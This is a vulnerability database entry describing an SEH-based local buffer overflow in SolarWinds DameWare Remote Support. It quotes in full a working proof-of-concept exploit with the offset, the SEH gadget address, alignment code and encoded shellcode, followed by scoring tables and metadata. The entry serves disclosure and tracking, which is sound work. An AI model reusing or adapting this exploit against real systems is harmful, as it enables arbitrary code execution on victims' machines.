CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.8 | $0-$5k | 0.00 |
A vulnerability classified as critical has been found in SolarWinds DameWare Remote Support (Remote Access Software) (the affected version unknown). Affected is an unknown part. The manipulation with an unknown input leads to a buffer overflow vulnerability. CWE is classifying the issue as CWE-120. The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. This is going to have an impact on confidentiality, integrity, and availability.
The weakness was disclosed 08/31/2019 as not defined blog post (Website). The advisory is shared for download at xavibel.com. Technical details are unknown but a public exploit is available.
After immediately, there has been an exploit disclosed. The exploit is shared for download at xavibel.com. It is declared as proof-of-concept. The code used by the exploit is:
# msf-pattern_offset -q "37694136" -l 5000 # [*] Exact match at offset 260 junk1 = "\x41" * 260 # Unicode compatible padding nseh = "\x61\x43" # 0x007a0021 : pop esi # pop edi # ret # startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe) seh = "\x21\x7a" # Put shellcode memory address in EAX, push it to the stack and RETN # 20 bytes align = "" align += "\x43" * 10 # Padding align += "\x58" # POP EAX align += "\x73" # Venetian padding # 0012F590 83C0 50 ADD EAX,50 align += u"\uC083" + "\x50" # ADD EAX, 50 align += "\x73" # Venetian padding align += "\x50" # PUSH EAX align += "\x73" # Venetian padding align += u'\uC3C3' # RETN # 1348 junk2 = "\x43" * 18 # 7FFDD066 + 2 memory address contains the value FFFF0000 # This value is going to be placed in EBX # And it doesn't break the execution flow junk3 = "\x44" * 550 + u"\uD066" + u"\u7FFD" # u"\xF0FF" # msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw # ./alpha2 eax --unicode --uppercase < shellcode.raw # 508 bytes shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA" crash = junk1 + nseh + seh + align + junk2 + shellcode + junk3
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
The vulnerability is also documented in the vulnerability database at Exploit-DB (47444).
Product
Type
Vendor
Name
License
CPE 2.3
CPE 2.2
Video
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.8
VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
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💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
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Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
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unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Buffer overflowCWE: CWE-120 / CWE-119
ATT&CK: Unknown
Local: Yes
Remote: No
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
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Today | unlock | unlock | unlock | unlock |
Exploit-DB: 🔍
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
08/31/2019 🔍08/31/2019 🔍
10/08/2019 🔍
06/04/2022 🔍
Sources
Vendor: solarwinds.comAdvisory: xavibel.com
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 10/08/2019 07:22Updated: 06/04/2022 10:48
Changes: 10/08/2019 07:22 (41), 09/25/2020 16:39 (2), 06/04/2022 10:48 (9)
Complete: 🔍
Submitter: misc
Submit
Accepted
- Submit #89: SEH based local Buffer Overflow – DameWare Remote Support (by misc)
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